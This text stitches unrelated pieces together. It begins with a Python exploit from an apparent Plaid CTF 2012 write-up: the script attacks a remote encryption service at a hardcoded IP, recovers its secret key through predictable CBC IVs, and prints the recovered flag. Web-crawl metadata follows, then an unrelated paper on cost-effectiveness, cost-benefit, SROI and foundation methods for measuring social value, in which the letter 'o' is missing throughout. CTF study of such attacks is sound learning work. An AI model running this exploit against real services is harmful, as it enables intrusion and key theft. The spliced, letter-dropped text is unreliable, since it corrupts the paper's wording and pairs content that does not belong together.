import socket,struct,sys,string def make(data): return struct.pack('I',len(data)) + data def pad(data, blocksize=16): l = blocksize - (len(data) % blocksize) return data + chr(l) * l def get_enc(data): global s s.send(make(data)) l = struct.unpack("I",s.recv(4))[0] data = s.recv(l) return data def string_xor(a,key): return ''.join(chr(ord(a[i]) ^ ord(key[i%len(key)])) for i in range(len(a))) def attack(key): global s s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('174.129.168.125', 4433)) iv = s.recv(16) prefix = "A" * (4+len(key)) enc = get_enc(prefix) third_block = enc[32:32+16] third_iv = enc[16:16+16] search = third_block print "Search block: %s" % search.encode('hex') iv = enc[-16:] for x in string.lowercase + '_': guess = string_xor(pad(x+key),third_iv) new = get_enc(string_xor(guess,iv)) lb = new[:16] if lb == search: return x iv = new[-16:] key='' for x in range(29): new = attack(key) key = new + key print "Found: " + key
Running this program reveals the key:
Search block: 107b4efae8d1befa1df39a0802fa6c1d Found: s Search block: afdfde9db5a44df21a84a089a9083f53 Found: us Search block: eb632f01027fe10685716e9ecac582f5 Found: ous ... Found: edictable_ivs_are_dangerous Search block: ad04e566628430aea3628fe85de85189 Found: redictable_ivs_are_dangerous Search block: da429ea307dae8d1c2e58895545b004f Found: predictable_ivs_are_dangerous | https://eindbazen.net/2012/05/plaid-ctf-2012-encryption-service/ | CC-MAIN-2018-26 | refinedweb | 596 | 67.38 |
MEASURING AND/OR ESTIMATING SOCIAL VALUE CREATION: Insights Into Eight Integrated Cost Approaches
- Felicia McCoy
- 2 years ago
- Views:
Transcription
1 MEASURING AND/OR ESTIMATING SOCIAL VALUE CREATION: Insights Int Eight Integrated Cst Appraches Prepared fr Bill & Melinda Gates Fundatin Impact Planning and Imprvement Prepared by Melinda T. Tuan P.O. Bx 805 Narberth, PA FINAL PAPER December 15, 2008
2 TABLE OF CONTENTS 1. OVERVIEW Intrductin 1.2. Purpse 1.3. Methdlgy 1.4. A Wrd n Language 2. CURRENT STATE OF INTEGRATED COST APPROACHES TO MEASURING AND/OR ESTIMATING SOCIAL VALUE Lack f Maturity in Scial Prgram Evaluatin 2.2. A Variety f Purpses 2.3. N Silver Bullet(s) 3. PROFILES OF EIGHT INTEGRATED COST APPROACHES TO MEASURING AND/OR ESTIMATING SOCIAL VALUE Cst-Effectiveness Analysis (CEA) 3.2. Cst-Benefit Analysis (CBA) 3.3. REDF Scial Return n Investment (SROI) 3.4. Rbin Hd Fundatin Benefit-Cst Rati 3.5. Acumen Fund BACO Rati 3.6. William and Flra Hewlett Fundatin Expected Return 3.7. Center fr High Impact Philanthrpy Cst per Impact 3.8. Fundatin Investment Bubble Chart 3.9. Summary f Methdlgies 4. TECHNICAL ISSUES AND LIMITATIONS Assumptins 4.2. Discunt Rates 4.3. Timeframes 4.4. Shadw Prices 4.5. Interdependencies 4.6. Value Judgments 5. BIG PICTURE ISSUES Incnsistent Use f Language 5.2. Lack f Cmmn Measures in the Scial Sectr 5.3. Lack f Quality Data n Impacts, Outcmes, Outputs, and Csts 5.4. Lack f Incentives fr Transparency 5.5. Unintended Cnsequences 5.6. Inadequate Utilizatin 5.7. Cst f Measurement 6. SUMMARY OF ISSUES AND IMPLICATIONS FOR THE SOCIAL SECTOR AUTHORSHIP AND RESEARCH CREDITS Melinda T. Tuan ii
3 TABLE OF CONTENTS (cntinued) APPENDICES A. Glssary f Terms 27 B. Leading Practitiner and Expert Interview List 34 C. Measuring and/r Estimating Scial Value Meeting Participant List.. 35 D. Bibligraphy.38 E. Applicatins f Integrated Cst Appraches t Measuring and/r Estimating Scial Value F. Cnceptual Basis fr Integrated Cst Appraches t Measuring and/r Estimating Scial Value G. Cst-Effectiveness Analysis H. Cst-Benefit Analysis I. REDF SROI J. Rbin Hd Fundatin Benefit-Cst Rati K. Acumen Fund BACO Rati L. Hewlett Fundatin Expected Return M. Center fr High Impact Philanthrpy Cst per Impact N. Fundatin Investment Bubble Chart O. The Flat f the Curve 43 Melinda T. Tuan iii
4 1. OVERVIEW 1.1. Intrductin In the field f philanthrpy, there is currently a great deal f enthusiasm fr applying business principles and investment analyses t decisins abut funding nnprfit rganizatins and prgrams. As Lynn A. Karly, Ph.D., Senir Ecnmist with the RAND Crpratin states, the discipline assciated with these hard-nsed business management appraches is perceived t be a useful antidte t the ften emtinal appeals that accmpany funding decisins in philanthrpy and plicy discussins and decisin-making in the public plicy arena. 1 These appraches all integrate measures f cst in their calculatins f the relative benefits f funding a particular prgram r rganizatin. As the scial sectr cnsiders whether and hw t mre systematically integrate cst int measuring the scial impact f its philanthrpy, it may be helpful t d three things: 1) Identify and review the leading and prmising appraches t incrprating cst int measuring and/r estimating scial value in the scial sectr 2) Analyze the relative strengths and weaknesses f these appraches and identify any crss-cutting issues 3) Understand hw these examples and insights can infrm the scial sectr s explratins abut the csts f achieving scial impact T these ends, this paper will describe and analyze eight appraches t integrating cst in measuring and/r estimating scial value creatin. These include tw classical methdlgies (cst-effectiveness analysis and cst-benefit analysis) and six prmising appraches that have been develped by philanthrpic and nnprfit rganizatins in the last decade. Mst f these new methdlgies draw n cncepts frm cst-effectiveness and cst-benefit analysis. The purpse f prfiling and analyzing these appraches is nt t chse the right ne, fr there is n perfect methdlgy. Rather, it is t present sme fresh pssibilities fr thinking abut the cst-benefit f philanthrpic investments. These varius appraches prvide different lenses fr viewing scial value creatin and bring a new level f rigr and creativity t the measurement r estimatin f scial value. They als illustrate the hst f limitatins related t effrts t measure and/r estimate scial value, bth technical and big picture issues, mst f which are crsscutting issues fr the field. The implicatins f these pssibilities and limitatins will serve as a reference pint fr thse in the scial sectr wh are cnsidering whether and hw t craft their wn appraches t integrating cst int their scial impact measurement effrts. Additinally, these implicatins will help clarify whether it is pssible t pursue a methdlgy that can be adpted acrss the sectr.. 5. Melinda T. Tuan 4
5 1.2. Purpse This paper was cmmissined by Impact Planning and Imprvement (IPI) t take a first lk at sme f the leading examples f integrated cst appraches t measuring and/r estimating scial value in the scial sectr. The paper and the cmpanin appendices are structured t prvide the larger cntext fr and generate further discussin amng philanthrpic and nnprfit leaders in the scial sectr regarding the current effrts and future plans thrughut the sectr t integrate cst int scial impact measurement activities. T aid in this effrt, the paper prvides a cmmn language (Appendix A) and detailed examples f the varius methdlgies fr leading practitiners t reference as they cnsider whether, where, and hw t g deeper in understanding these issues and the implicatins fr their rganizatins and the sectr as a whle. This paper des nt represent a cmprehensive scan f all the integrated cst effrts in the nnprfit and philanthrpic sectrs. This paper als des nt review the mre extensive histrical and current uses f cst-effectiveness analysis and cst-benefit analysis t measure impact in the gvernment sectr. This paper des, hwever, illustrate sme different ways cst is being integrated int a variety f measurement framewrks that are currently being used r cntemplated by leading philanthrpic and nnprfit rganizatins. The paper includes a high level view f eight different methdlgies, the technical limitatins and big picture issues represented by these cllective methdlgies, and the implicatins fr the scial sectr. A lengthy and detailed set f appendices cvers each f the eight methdlgies with a higher degree f granularity, includes an example f hw each methdlgy is applied, and als discusses each appraches benefits, limitatins, and utilizatin Methdlgy This paper is based n interviews with leading practitiners and experts in measuring and/r estimating scial value (Appendix B); a meeting f leading practitiners, experts, funders and staff frm the Bill & Melinda Gates Fundatin held in Octber, 2008 t discuss a draft versin f this paper (Appendix C); a brief literature review f cst-effectiveness analysis and cst-benefit analysis and materials abut the six prfiled rganizatins and appraches (Appendix D); and nging cnversatins with Fay Twersky and Kendall Guthrie f Impact Planning and Imprvement A Wrd n Language The rganizatins we prfiled in this paper ften use different wrds t describe the same thing r use the same wrd t describe different things. This can be very cnfusing and bfuscate the true methdlgies r results behind the varius appraches. T prvide greater clarity, we refer t Appendix A: Glssary f Terms t define the many technical terms used in this paper. In additin, we will use the term scial value creatin r scial value thrughut the paper t refer t the general cncept and practice f measuring scial impacts, utcmes, and utputs thrugh the lens f cst. When apprpriate, we will ftnte terms that are defined differently in the varius methdlgies fr measuring and/r estimating scial value and explain, t the best f ur knwledge, what they really mean. Melinda T. Tuan 5
6 2. CURRENT STATE OF INTEGRATED COST APPROACHES TO MEASURING AND/OR ESTIMATING SOCIAL VALUE Based n interviews with experts, leading practitiners, and a scan f the literature, integrated cst appraches t measuring and/r estimating scial value in the scial sectr have nt yet reached maturity. This is due in large part t the lack f maturity in scial prgram evaluatin methdlgies and the variety f purpses rganizatins have fr cnducting these types f analyses Lack f maturity in scial prgram evaluatin In 2007, the MacArthur Fundatin cmmissined the RAND Crpratin t cnduct a study f 39 effective scial prgrams that have been evaluated using scientifically rigrus methds. Of these, 22 scial prgrams had been the subject f ne r mre cst-benefit analyses. The purpse f the study was t examine the state f the field f valuing benefits in scial prgrams. Dr. Lynn Karly, Senir Ecnmist at RAND, published a paper in Nvember 2008 which cncluded that the applicatin f the cst-benefit methdlgy in evaluatins f scial prgrams has nt reached maturity. 2 Karly s findings which led her t this cnclusin included factrs such as: Many imprtant benefits that accrue frm effective scial prgrams are rarely, if ever, mnetized Shadw prices (the dllar values assigned t utcmes) in cst-benefit analyses f scial prgrams d nt cnsistently capture the full range f scietal benefits r csts Even when there is well-established literature fr valuing utcmes, shadw prices are nt being cnsistently used acrss studies f scial prgrams Sme cst-benefit analyses use methds t prject future utcmes based n early utcmes, but such appraches have yet t becme rutine and standardized Overall, these limitatins pint t the fact that the field f scial prgram evaluatin the prcess f cllecting scial impact and scial utcme data and the methds f calculating the csts f scial prgram delivery are nt very well develped r established in the scial sectr. Despite these limitatins, sme peple expect t be able t cmpare the scial value f varius scial prgrams similar t hw they cmpare the financial return n investment (ROI) f varius cmpanies. This is nt a reasnable r realistic expectatin given that the infrastructure necessary t calculate scial value creatin fr scial prgrams is virtually nn-existent. The infrastructure that makes financial ROI calculatins pssible (e.g. the accunting prfessin, brkers, financial analysts, financial reprting, financial cncept develpment), has taken a lng perid f time (sme might argue centuries) t develp and there are still cnstant debates abut hw ecnmic value is measured and hw much value cmpanies are creating. 2 Karly, Lynn A. Valuing Benefits in Benefit-Cst Studies f Scial Prgrams. RAND, Melinda T. Tuan 6
7 In cmparisn, the scial sectr has really nly begun t measure scial utcmes in the last few decades. While there are a handful f grups such as RAND and MDRC that cnduct cst-effectiveness analyses and cst-benefit analyses and a few SROI cnsultants, there is n scial auditing prfessin that des these types f analyses in a unifrm manner fr the scial sectr. Until a tremendus amunt f resurces are invested in creating a cmparable infrastructure fr measuring and analyzing the results fr the scial sectr, integrated cst appraches t measuring and/r estimating scial value will cntinue t be practiced mre like an islated art frm than widespread science A Variety f Purpses There appears t be little cnsensus amng leading practitiners f integrated cst appraches t measuring and/r estimating scial value abut hw ne shuld use cst-related impact data t make certain investment decisins. In general, there are fur philsphical psitins behind the methdlgies and rganizatins self-identify in ne r mre f the different categries: 1) One can and shuld use cst and impact data t make funding allcatin decisins acrss prgram areas Michael Weinstein, Chief Prgram Officer at Rbin Hd Fundatin is emphatic in stating his case: It s impssible nt t d it. If yu re making grants, yu re placing yur bets yu are assigning implicit values t the activities that yu fund. Sme envirnmentalists dn t like the idea f deciding hw many snail darters equal the value f a plar bear, even thugh they ve made that decisin implicitly nce their rganizatins set their annual budgets. There is, hwever, virtue in being explicit making decisins with analysis afrethught rather than relying n utcmes dictated by an amrphus prcess that desn t face up t tradeffs. Perhaps we can agree that spending mney t save three snail darters at the cst f freging a prgram that wuld save five plar bears wuld be ridiculus. But shuld we spend mney t spare the extinctin f snail darters at the cst f lsing half the ppulatin f plar bears? Better t face tradeffs explicitly than t behave passively, implicitly. 3 Paul Brest, President f the William and Flra Hewlett Fundatin shared his perspective: I think yu can nly d it when yu have a cmmn utcme. Our six prgrams range frm perfrming arts t envirnment t glbal develpment. In cntrast, Rbin Hd s different prgrams are all cncerned with alleviating pverty in New Yrk. But even when yu have a cmmn utcme, it s a bit tenuus as the margins f errr are huge. The interesting questin frm all this is: Why d we think it s imprtant? 4 2) One can nly use cst and impact data t make funding allcatin decisins within prgram areas Brian Trelstad, Chief Investment Officer fr Acumen Fund stated, I think nce yu ve chsen an area that matters t yu then yu shuld play this game. But there shuld be limits. Yu can cmpare prgrams nce yu get in the sectr f glbal 3 Weinstein, Michael. Re: Rbin Hd Fundatin Benefit-Cst Rati and Integrated Cst Appraches t Measuring Scial Impact t Melinda Tuan, 29 July Brest, Paul. Re: Hewlett Fundatin s Expected Return Methdlgy t Melinda Tuan, 18 July Melinda T. Tuan 7
8 health, but yu can t cmpare glbal health vs. arts vs. climate change. Yu can t bil it dwn t that. It s flish t say ne climate change initiative is wrth mre than tw educatin initiatives. 5 3) One can ideally use cst and impact data t making funding decisins acrss prgram areas but in reality, ne wuld be lucky t have access t cst and impact data t make funding allcatin decisins within a prgram area at all nt t mentin assessing whether a prgram in and f itself is a wrthwhile investment Kat Rsqueta, Executive Directr f the Center fr High Impact Philanthrpy explained their apprach: We re nt lking fr a unifying measurement acrss dmains We re develping a cnceptual framewrk f having the biggest impact acrss a dllar unit. We re nt trying t d this acrss glbal health and urban educatin. In fact, we re nt even trying t use the same unit within urban educatin. Given the lack f gd, empirical infrmatin t build n, the required assumptins and mdeling wuld make the results academic. 6 4) One shuld use cst and impact data t prmte the wrk f individual nnprfit rganizatins and prmte the use f scial value creatin metrics t build the field f scial prgram evaluatin Jeremy Nichlls, Fellw at New Ecnmics Fundatin (nef) described his purpse fr develping and prmting the scial return n investment (SROI) methdlgy: Many rganizatins with scial bjectives were nt reprting n the relatinship between their investment and the utcmes they were achieving. What we want is a cnsistent apprach t measuring value: get rganizatins t frecast scial returns, build the systems t track thse ver time, then lk back and see hw thse went. A turning pint wuld be if we culd get investrs and funders interested where their funding criteria included using SROI principles. Then we culd get t a level where there will be enugh cmmnality f measures that there will be cmparability within areas. Acrss these fur philsphical perspectives, there is anther way t categrize the purpses f measuring and/r estimating scial value using the element f time. The three primary applicatins are: 1. Prspective lking frward t pssible philanthrpic investments t determine whether r nt the prjected csts and benefits in the future indicate a favrable investment in the present 2. Onging testing assumptins and prjectins regarding intended scial value creatin alng the way, in rder t aid in curse crrectin 3. Retrspective lking back at past philanthrpic investments t determine whether r nt they were favrable investments given the csts incurred, in rder t infrm future decisins 5 Trelstad, Brian. Re: Acumen Fund Best Available Charitable Optins (BACO) and Prtfli Data Management System (PDMS) t Melinda Tuan, 30 April Melinda T. Tuan 8
9 As with the previus set f purpses, the varius appraches may incrprate ne r mre f these pssible applicatins (Appendix E and Appendix F) N Silver Bullet(s) It is imprtant t cnsider each f these methdlgies in the greater cntext in which the rganizatin makes decisins. Regardless f the specific purpse, each methdlgy and its accmpanying results are nly ne factr in an rganizatin s decisin-making prcess. Jed Emersn, Funding Directr f REDF, explained: At REDF we went t great lengths t create a set f analyses s SROI wasn t biled dwn t ne number. We specifically tried t avid the trap f cming up with a single numeric. 7 Susan Stut, recently retired Manager f the Wrld Bank s Results Secretariat cautined: There is incredible silver bulletism arund in the dnr (and perhaps fundatin) wrlds seeking that ne special number that will tell us if we are succeeding r failing. This is driven by bureaucratic fantasy, nt reality. The chances that we culd cme up with a metric that avids an inevitably subjective prcess f judgment and chice are infinitely small (else plitics wuld be a much simpler and bring tpic). It s usually driven by a desire t define a bttm line that will d fr philanthrpy and public sectr management what prfit/lss statements d fr the private sectr. It s just nt ging t happen that way Emersn, Jed. Re: Integrated Cst Appraches t Measuring Scial Impact and REDF s SROI t Melinda Tuan, 1 May Nte: Despite REDF s desires t avid the trap f a single numeric, many f the subsequent cst integrated measurement methdlgies based their appraches n the single SROI metric f the blended value index f return. Stut, Susan. Re: Perspectives n Cst-Benefit Analysis and Cst-Effectiveness Analysis in Glbal Health cmmunicatin t Philip Setel, April Melinda T. Tuan 9
10 3. PROFILES OF EIGHT INTEGRATED COST APPROACHES TO MEASURING AND/OR ESTIMATING SOCIAL VALUE The fllwing is a high level verview f eight different appraches t integrating cst int measuring and/r estimating scial value creatin. The first tw are classical appraches, including cst-effectiveness analysis (CEA) and cst-benefit analysis (CBA). The next six appraches represent leading practitiner methdlgies, including bth philanthrpic and nnprfit rganizatins Cst-Effectiveness Analysis (CEA) (Appendix G) Cst-Effectiveness Analysis (CEA) invlves the calculatin f a rati f cst t a nnmnetary benefit r utcme (e.g. cst per high schl graduate, cst per child cured f malaria). This rati is smetimes infrmally termed the bang fr the buck. CEA is used in situatins when mnetizing the benefits f a prgram r interventin is nt pssible r apprpriate. Hwever, measures f cst-effectiveness can nly accunt fr ne area f prgram impact at a time. And, since prgram impacts are measured in natural units (e.g. life year saved, child graduating frm high schl), unless thse units are cmmn acrss all areas f impact, it is nt pssible t aggregate acrss them. 9 The purpse f CEA is tw-fld: 1) t cmbine apprpriate measures f utcmes with csts s that prgram and plicy alternatives within the same dmain can be ranked accrding t their effectiveness relative t their results; and 2) t side-step the uncertainties abut hw t value different aspects f prgram benefits by lking at the rati f benefits t csts withut reducing them t cmmn units (e.g. mnetary units). CEA is used in the private, public, and nnprfit sectrs and is widely used in health care where csts f interventin are cmpared t their impact n an individual s quality-adjusted life years (QALYs) r disability-adjusted life years (DALYs) Cst-Benefit Analysis (CBA) (Appendix H) Cst-benefit analysis (CBA) mnetizes the benefits and csts assciated with an interventin and then cmpares them t see which ne is greater. CBA is the mst demanding apprach t analyzing csts and utcmes as it requires a cmprehensive measurement f csts and prgram impacts (e.g. primary and secndary, direct and indirect, tangible and intangible impacts), and the ability t place a dllar value n prgram impacts acrss stakehlders. Thus, CBA prvides a full accunting f the net benefits t sciety as a whle, as well as varius stakehlders. The purpse f CBA is twfld: 1) t help decide whether a prgram r interventin is f value t the decisin-maker and 2) t cmpare the prgram t alternatives and chse the ne with the greatest measure f merit. The utput frm cst-benefit analysis can be measures f net benefits (benefits csts) als knwn as the net present value (NPV); the rati f benefits t cst (benefit-cst ratis); r the internal rate f return (IRR) which is the rate f grwth a prject is expected t generate Karly, Lynn A. Valuing Benefits in Benefit-Cst Studies f Scial Prgrams. RAND, 2008, p Ibid. Melinda T. Tuan 10
11 CBA is widely used acrss the public, private, and increasingly the nnprfit sectr t help decisin-makers priritize r decide amng varius uses f funds fr prgrams and prjects REDF SROI (Appendix I) REDF is a nnprfit philanthrpic scial venture fund funded in 1997 in San Francisc, CA. REDF supprts emplyment fr lw-incme and frmerly hmeless individuals by making grants t a prtfli f nnprfit rganizatins in the San Francisc Bay Area that fully wn and perate varius scial enterprises. REDF develped its SROI framewrk in the late 1990 s culminating in the publicatin f the SROI Reprts and several SROI methdlgy dcuments and tls in The purpse f REDF s SROI was t demnstrate the scial, enterprise, and blended value accrued t sciety cmpared t the ttal investments fr each f the scial enterprises in its prtfli n an nging and retrspective basis. Since 2000, REDF has nt released any further SROI reprts. It is instead fcusing n cntinuing t measure and reprt n the scial utcmes f the enterprises in terms f individuals changed lives withut mnetizing the utcmes r cmparing these t their assciated csts. Even thugh REDF is n lnger implementing its SROI methdlgy, the cncepts underpinning REDF s SROI framewrk greatly influenced many f the appraches that have evlved in the past decade. A grup f internatinal practitiners including Jed Emersn, principals at new ecnmics fundatin (nef), Schlten & Franssen, SVT Grup, and thers published a revised apprach t calculating SROI in This revised apprach integrated REDF s SROI methdlgy with steps in cst effectiveness analysis and several ther methdlgies int an verarching SROI framewrk. This SROI Framewrk was updated in a bk published in Majr pints that differentiate the evlving methdlgy frm that f REDF include: applying SROI t any type f rganizatin r cmpany in any industry; accunting fr scial and envirnmental value created fr individual stakehlders; including stakehlder analyses; using shrter timeframes (5 years); and adjusting results fr the interdependencies f utcmes attributable t a set f rganizatins. An internatinal, decentralized netwrk including tw relatively new rganizatins, SROI UK and the Eurpean SROI Netwrk (ESROIN), cntinues t refine the SROI methdlgy and advcate fr its use thrughut Eurpe, the United States, and Suth and Sutheast Asia Rbin Hd Fundatin (Rbin Hd) Benefit-Cst Rati (Appendix J) Rbin Hd is a nnprfit funded in 1988 t target pverty in New Yrk City (NYC). Rbin Hd prvides nging grants t ver 200 NYC-based nnprfit rganizatins that fight pverty in fur general areas: Jbs & Ecnmic Security; Educatin; Early Childhd & Yuth; and Survival. Rbin Hd develped its Benefit-Cst Rati methdlgy in 2003 t capture the best estimate f the cllective benefit t pr individuals that Rbin Hd grants create per dllar cst t Rbin Hd (measured in part by the bst in incme f pr individuals due t the grant). 11 Schlten, Peter, Jeremy Nichlls, Sara Olsen, Brett Galimidi. Scial Return n Investment: A Guide t SROI Analysis. Lenthe Publishers, Melinda T. Tuan 11
12 The purpse f Rbin Hd s Benefit-Cst Rati is t translate the utcmes f diverse prgrams int a single, mnetized value that measures pverty fighting n an nging basis t answer the questin: Which prgrams t fund and hw much t spend n each. 12 Rbin Hd prgram fficers are required t calculate Benefit-Cst Ratis fr all f their new and renewal prgram funding prpsals n an annual basis (i.e., the which prgrams questin). Rbin Hd des nt, hwever, use the Benefit-Cst Ratis t make allcatin decisins amng prtflis decisins are made abut individual grants regardless f the prtfli f which they are a part. The distributin f spending acrss prtflis fllws as a passive cnsequence f decisins abut individual grants Acumen Fund (Acumen) BACO Rati (Appendix K) Acumen Fund is a nnprfit glbal venture fund funded in 2001 in New Yrk City. Acumen prvides capital investments ranging frm $300,000 t $2,000,000 in primarily debt r equity t a variety f institutins including nnprfit rganizatins and small, medium and large cmpanies. These funds supprt business mdels with a payback r exit in rughly five t seven years that can be effective in reaching the base f the pyramid (BOP) r the billins f pr. Acumen invests glbally in fur areas: Water; Health; Husing; and Energy. Acumen develped its Best Available Charitable Optin (BACO) Rati methdlgy in 2004 t quantify a ptential investment s scial utput 14 and cmpare it t the universe f existing charitable ptins fr that explicit scial issue. The purpse f the BACO Rati is t help prtfli managers assess the prspective merit f an individual investment pprtunity versus making a charitable grant. Ideally, the BACO Rati is re-assessed n an annual basis pst-investment. T date, Acumen prtfli managers have calculated BACO Ratis fr all f their prtfli cmpanies (sme retrspectively, sme as part f the due diligence prcess) and there are abut 25 active investments. Only a few annual BACO re-assessments have been calculated t date William and Flra Hewlett Fundatin (Hewlett) Expected Return (Appendix L) The William and Flra Hewlett Fundatin was funded in 1966 t slve scial and envirnmental prblems at hme and arund the wrld. Hewlett cncentrates its glbal grantmaking n six majr areas: Educatin; Envirnment; Glbal Develpment; Perfrming Arts; Philanthrpy; and Ppulatin. Hewlett develped its Expected Return (ER) methdlgy in 2007 t evaluate ptential charitable investments thrugh a systematic, cnsistent, quantitative prcess in rder t make every dllar cunt. The purpse f ER is t help Hewlett prgram fficers ask and answer the right questins fr every investment prtfli. Expected Return frces prgram fficers t test their implicit assumptins and thery f change/lgic mdel against the ER number, quantify high-level tradeffs between investments within an investment prtfli, and ideally make better prspective funding decisins within their 12 Weinstein, Michael. Re: Rbin Hd Fundatin Benefit-Cst Rati t Melinda Tuan, 29 July Ibid. 14 Acumen Fund s BACO methdlgy uses the term scial impact t describe scial utputs (e.g. they describe persn years f malaria prtectin as a scial impact ). Melinda T. Tuan 12
13 investment prtflis. T date, Hewlett has nly used ER in its glbal develpment area t make grantmaking decisins but plans t use it in ther areas Center fr High Impact Philanthrpy (CHIP) Cst per Impact (Appendix M) The Center fr High Impact Philanthrpy was established in 2006 by alumni f The Whartn Schl f the University f Pennsylvania (UPenn) wh were frustrated by the difficulty f measuring and maximizing the impact f their charitable gifts. Based ut f the Schl f Scial Plicy & Practice at UPenn, CHIP is a resurce center designed t guide philanthrpists and their advisrs as they decide where t allcate their philanthrpic dllars. Since 2006, CHIP has been develping its Cst per Impact methdlgy and intends t prmte it as a measure critical t high impact giving. CHIP is currently wrking n its first f several philanthrpic sectr reprts. These reprts analyze pprtunities fr individual philanthrpists t have impact and prvide exemplary case examples with assciated cst per impact estimates. The purpse f Cst per Impact is t prvide philanthrpists an answer t the questin, Hw much des change cst? 3.8. Fundatin Investment Bubble Chart (Appendix N) Sme nnprfits and fundatins are using a bubble chart t display cmparative infrmatin regarding multiple rganizatins. The purpse f the bubble chart is t illustrate a set f reprting metrics at the rganizatinal r prgram level that are cmmn acrss the prgrams f a nnprfit r a segment f a fundatin prtfli. Sample measures include number f peple reached with bed nets vs. percentage f bed nets utilized. The bubble chart allws ne t assess the individual and relative perfrmance f prgrams r rganizatins cmpared t the prgram size r fundatin investment at a single pint in time Summary f All Methdlgies In reviewing these different methdlgies fr measuring and/r estimating scial value creatin, Paul Brest, President f the William and Flra Hewlett Fundatin psited that in essence, all the methdlgies are abut expected return: Expected Return = (Outcme r Benefit X Prbability f Success) Cst Mst funders assume their prbability f success; then chse t either mnetize the benefits (CBA) r nt (CEA). A few funders als discunt the numeratr by the prprtin f their philanthrpic cntributin. As a heuristic, Brest s simplificatin f all the integrated cst methdlgies is helpful. Hwever, the eight different appraches have differently nuanced answers t these questins: Hw are the utcmes r benefits estimated? (e.g. randmized cntrl experiments, utputs used as prxies fr utcmes, timeframes, etc.) 15 Hugget, Jn. The Bridgespan Grup presentatin Business Planning: What it Is and Why it Matters p. 7; Olsen, Sara. Re: Integrated Cst Appraches t Measuring Scial Impact t Melinda Tuan, 30 April; Fay Twersky, Brian Ellit, Melinda Tuan interpretatin. Melinda T. Tuan 13
14 Hw are the csts calculated? (e.g. cst f grants and administratin, cst f ttal prgram, etc.) Hw are uncertainties and partial attributin f results accunted fr? (e.g. prbability f success, philanthrpic cntributin, interdependencies, etc.) Hw are the utcmes r benefits translated int natural units r mnetized? (e.g. shadw prices, discunt rates, etc.) At this pint in time, n single methdlgy has been widely adpted thrughut the scial sectr. And it is premature t declare that ne right methd fr measuring and/r estimating scial value creatin shuld be prmted. Hwever, fr rganizatins that are interested in integrating a cst apprach t measuring scial impact, there is significant value in emplying a single, cnsistent methdlgy thrughut the rganizatin. Philanthrpic rganizatins and nnprfit practitiners are finding the discipline inherent in the prcess f measuring and/r estimating scial value creatin imprves their wn practice and helps them fcus n the best methds t achieve their scial missin. Melinda T. Tuan 14
15 4. TECHNICAL ISSUES AND LIMITATIONS In reviewing the eight different methdlgies, we identified a number f technical issues that cut acrss many f the appraches. These issues include the use f: Assumptins Discunt rates Timeframes Shadw prices Interdependencies Value judgments These technical issues represent limitatins f the tls used t integrate cst appraches fr measuring and/r estimating scial value Assumptins There are a multitude f assumptins invlved in all f these methdlgies and calculatins. Sme assumptins, such as the Rbin Hd Factr r Hewlett s philanthrpy s cntributin cannt be easily tested r measured. Other assumptins, including prjectins f utputs r utcmes, r applicatins f expert research t a similar prgram s utcmes, can be measured retrspectively fr their accuracy. Hwever, this des nt seem t be dne n a cnsistent basis in any f the examples. In respnse t ne f the skepticisms f Hewlett s Expected Return methdlgy that yu re putting in a lt f incredibly speculative numbers, Brest argues: But ding the numbers presses prgram fficers t test their intuitins, and that s likely t sharpen them. 16 Weinstein f Rbin Hd Fundatin acknwledges that there s n way t get arund the ugly prblem. The virtue f ur metrics is that they are brutally clear abut the assumptins we re making alng the way, sme f them embarrassing. 17 In examining sme f the assumptins and their applicatin in sensitivity r scenari analyses, it is clear that several rganizatins are verly ptimistic in their prjectins. This ptimism includes prjectins f scial utputs, scial utcmes and impacts, prjectins f financial perfrmance, and the timeframe fr achieving these results. A few f the rganizatins methdlgies have been in existence fr lng enugh t cnfirm that the actual scial value created frm specific individual investments was significantly less than the riginally prjectins Discunt rates In rder t calculate the cst-effectiveness r cst-benefit f an interventin which results in benefits in future years, ne must discunt thse benefits t reflect the time value f mney. Hwever, while there is cnsensus that future utcmes shuld be discunted, there is n cnsensus as t what rate shuld be used says 16 Brest, Paul. Re: Hewlett Fundatin s Expected Return Methdlgy t Melinda Tuan, 24 April Weinstein, Michael. Re: Rbin Hd Fundatin Benefit-Cst Rati and Integrated Cst Appraches t Measuring Scial Impact t Melinda Tuan, 23 April Melinda T. Tuan 15
16 Karly. 18 Karly adds that while 4 percent is typical in the drug, criminal justice, and children and yuth interventin plicy areas, ther fields use different discunt rates. In medicine, discunt rates f 3 t 5 percent are recmmended and in ther fields discunt rates f 10 percent r higher have been used. The chice f rate may be a functin f the time preference f the stakehlder r decisin-maker 19 adding t the lack f cnsistency in hw csts and benefits are calculated acrss the field Timeframes There are a variety f timeframes being used thrughut these methdlgies. Fr example, Karly fund that sme prgrams that serve children and yuth d nt track their participants int the future while thers d. As a result, the amunt f actual utcme data available fr analysis varies widely acrss prgrams. 20 There is als little cnsistency in the use f timeframes fr analysis, regardless f whether there is actual impact r utcme data. REDF used a ten-year hrizn fr calculating benefits, Rbin Hd a range up t 30 years, nef 5 years. All f these variatins n timeframe cntribute t very different results that cannt be cmpared t ne anther because f the timeframe issue Shadw prices In rder t use cst-benefit analysis, all csts and benefits must be mnetized. Hwever, as Karly states, a significant challenge in applying the cst-benefit apprach is t have apprpriate shadw prices r dllar values t attach t each f the shrt- and lng-term utcmes that a scial prgram may affect. 21 In sme cases, shadw prices are easy t btain, while in ther cases, their derivatin may be mre cmplex and subject t debate amng experts. Fr example, there is n market price fr the intangible cst f crime t a victim f crime. In practice, individual evaluatrs and researchers select their wn shadw prices s there is little cnsistency and therefre the results are nt easily cmparable Interdependencies Interdependencies refers t the idea that the utcmes f ne r a series f interventins are dependent n ther interventins. In rder t see change in X yu wuld als need t see change in Y. Fr example, the utcme f imprved high schl graduatin rates thrugh a peer tutring prgram is dependent in part n the level f functin f the family in which the student resides. This issue f interdependency is especially imprtant when the timeframe fr the prjected benefits f the interventin is further ut int the future. In early childhd interventins, much f the child s future achievements/benefits are dependent n what happens with the rest f the child s life circumstances and experiences. It is fictin t nt accunt fr the interdependencies in calculating the future benefits, yet very few appraches d accunt fr them. 18. 19 Ibid, ftnte, p Karly, Lynn A. Valuing Benefits in Benefit-Cst Studies f Scial Prgrams. RAND, 2008, p Ibid. p. 3. Melinda T. Tuan 16
